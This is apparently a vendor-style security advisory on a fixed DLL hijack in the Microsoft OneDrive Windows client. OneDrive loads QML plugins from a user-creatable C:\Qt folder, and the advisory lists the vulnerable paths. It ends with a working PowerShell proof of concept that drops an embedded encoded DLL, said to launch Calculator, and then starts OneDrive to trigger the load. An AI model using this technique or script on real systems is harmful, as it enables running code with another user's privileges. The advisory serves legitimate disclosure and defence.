Microsoft OneDrive client for Windows Qt QML module hijack

Abstract

A file hijacking vulnerability was found in the Microsoft OneDrive client. This vulnerability allows a local attacker to plant a DLL file on the local machine. This DLL will then be loaded whenever (another) user launches OneDrive, running with the privileges of the victim.

Tested version

This issue was successfully verified on Microsoft OneDrive version 19.232.1124.0010.

Fix

This vulnerability was resolved in Microsoft OneDrive version 20.073.0409.0003.

Introduction

OneDrive is Microsoft's cloud storage service, which can be used to store files including documents, photos, music, videos, et cetera. Files stored in OneDrive can be accesses from other devices and shared with others.

A file hijacking vulnerability was found in the Microsoft OneDrive client for Windows. This vulnerability allows a local attacker to plant a DLL file on the local machine. This DLL will then be loaded whenever (another) user launches OneDrive, running with the privileges of the victim.

This issue was independently discovered by Elias Dimopoulos from REDYOPS Labs.

Vulnerability details

When OneDrive starts, it will search in the folder *C:\Qt\Qt-5.11.1* for any QML module that needs to be loaded. When the module can't be found under C:\Qt, the application's installation folder will be searched (generally located under %LOCALAPPDATA%).

Normally, the C:\Qt folder is not present on Windows systems. Any authenticated user is permitted to create this folder in the system root and consequently, a logged on attacker can also create the searched folder structure. The attacker can then create any of the following folders and copy a malicious DLL in these folders:

  • Colors
  • Colors.1
  • Colors.1.0
  • ColorThemeManager
  • ColorThemeManager.1
  • ColorThemeManager.1.0
  • QtQuick\Controls\impl
  • QtQuick\Controls\impl.2
  • QtQuick\Controls\impl.2.4
  • QtQuick\Controls\Styles.1.4
  • QtQuick\Controls\Styles.1
  • QtQuick\Controls.1\Styles
  • QtQuick\Controls.1.4\Styles
  • QtQuick\Controls.2\impl
  • QtQuick\Controls.2.0
  • QtQuick\Controls.2.2
  • QtQuick\Controls.2.4
  • QtQuick\Controls.2.4\impl
  • QtQuick\Templates.2.4
  • QtQuick\Window.2.2
  • QtQuick\Window.2.3
  • QtQuick.1\Controls\Styles
  • QtQuick.1.4\Controls\Styles
  • QtQuick.2\Controls\impl
  • QtQuick.2.0
  • QtQuick.2.0\Controls
  • QtQuick.2.11
  • QtQuick.2.2\Controls
  • QtQuick.2.2\Window
  • QtQuick.2.3\Window
  • QtQuick.2.4\Controls
  • QtQuick.2.4\Controls\impl
  • QtQuick.2.4\Templates
  • QtQuick.2.7

Now whenever OneDrive is launched, it will find the attacker's DLL, load it, and run any code that is present in this DLL. The attacker's code will run with the privileges of the user that launched OneDrive.

Proof of concept

The following Powershell script can be used to demonstrate this issue. When successful, the proof of concept will start Calculator.

# kill OneDrive if it's running
Get-Process -Name OneDrive -ErrorAction SilentlyContinue | Stop-Process -ErrorAction SilentlyContinue

# embedded 32-bit DLL that runs calc.exe
$EncodedCompressedFile = "H4sICOaxZ14AA2RsbF94ODYuZGxsAOw7C3RTZZp/mlsaSyARU6hQJGqYKS507+2L5kVb2gooj2oLojzT9gZi27QkN7T4bE1z9O41TtyVXR8zSgfP6hzrrjgMT4+TEqDgY6zISrUeDiPgphOUIh7sipL9vv/etCkyMzvnuGfcWf7y57/3v9//vf7v9d+ERfeEiJoQwkCPxwnZReRWQv58a4M+ftqe8WT7Ne/euEu18N0bq9e7vMZmT9M6j6PRWOtwu5sEYw1v9PjcRpfbWL6kytjYVMfnjBuXblJwVFYQslCVPgrvCTL+5rGqlBvJRLjJl5lruw5GPXQWIbrq6XWKzLdK4Z+2sHxz6SQBuUrgkVFehx96GYQOzYQIihCm4cVXaK8RkjXmjz+eWUJI5hXmDwHex/8E2hyBb0X6dQaFoYnJQshtLalcm1PnEBxIBydQdpCZTB4NV0LYcI5HBnxDTeTNQ1xZ34MrydkgNPKCo86IeCoVOOPlcGtLcmq8XrzuUlNGrtjayNpwDi/TpbpsVvgzjYajdF0yHNV1G3TU6U+uIEfZndUkIW9IwTfzCnBCA+VPgx9bFLicK+mFb2iqVfbwNWUB+z24uVeW8G+/+c9k9TAmsrarPspNgNv9WZHgdrovwR34edeyKv8ZvVRuMgXCPo+UoQXIwJGH7vL/QcXF30TPE+lcbKIMD8iiYDLxDNLeVe8/w4hDg7ptBS/WwqqwGPGd6HwZLv1DKbqOT2XoaTBE//VaiDy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rxpRF1SN74zFnPywwwq/1p/xS4M1wYvBLpvGtuBI0B9kgskgF/wRFOtndK/+wiZxVE/qRabaPGW2mh3mVfOuOWHz+L25YC6borA0XBZpFYsy8KUYSs4lu11nRTwa81gNQzADDl6D67ATv8EpvJ1W2ttvpv00S9fyPbzJVj3CMXWr0mq3Oq9mVVkqkfJScZ/8R/16v8l2SY12muPRO9t2bKKRVLkf2to7/H7/K3/SXxrcFWwOmoJ9QVcwEizU2mTD6XxN2Xjkdav7NMyym6rUe8Lu/PexeOT1cPKYvAIv0nHeppxcPNKkwma6R4jkSpvVZsues0l2H3fT7qA75c65FZ70GryMd7WslXutw3NyASyHNHRAD2Stv+VYi414ED/CHDI55YXOAsu4BmiGFmiH96ELjkEf9MMgDNvzpy2lRuFHmIZf4Xfr6pW4CJfgdXg93ozL0UPCNZZcNfgYrsc6fA5fsI7vxBbLrwPYjh9a53uxDwdw0HLsFP6A4/gTzuA8OlRMJbSMEnQj3UKCJN1Bd9ODtJbWUx1tpyZ6g1rpA+qkz2iIMpSlUTpPv1k/SriME1zJLiPfy6t4HT/CT/IG3sJp3sUv8WvWqzbusCk7wn3czxnO8hk+x+MRLy/xHM9zXBWrJZacleomdZtKqnx/F0Z91CC2iLRoFM2iRewVb1smHRZHrdoDYlAMi4w4K76zpJj415TM/+u/uP4GhvsPPAA4AAA="
$DeflatedStream = New-Object System.IO.Compression.GZipStream([System.IO.MemoryStream][System.Convert]::FromBase64String($EncodedCompressedFile), [System.IO.Compression.CompressionMode]::Decompress)
$dll = New-Object byte[] 14336
$DeflatedStream.Read($dll, 0, $dll.Length) | Out-Null
$DeflatedStream.Close() | Out-Null

# create folders & drop DLL
$targetfolder = "$env:SystemDrive\Qt\Qt-5.11.1\qml\QtQuick\Controls\impl"
New-Item -Type directory -Path "$targetfolder" | Out-Null
Set-Content "$targetfolder\hijack.dll" -Encoding Byte $dll
Set-Content "$targetfolder\qmldir" -Encoding Utf8 "module QtHijack`nplugin hijack`nclassname QtQuick2Plugin`ntypeinfo plugins.qmltypes`ndesignersupported"

# launch OneDrive
Start-Process -FilePath "$env:LOCALAPPDATA\Microsoft\OneDrive\OneDrive.exe"
Start-Sleep 15
# cleanup
Get-Process -Name OneDrive | Stop-Process -ErrorAction SilentlyContinue
Start-Sleep 2
Remove-Item "$env:SystemDrive\Qt" -Force -Recurse

Vragen of feedback?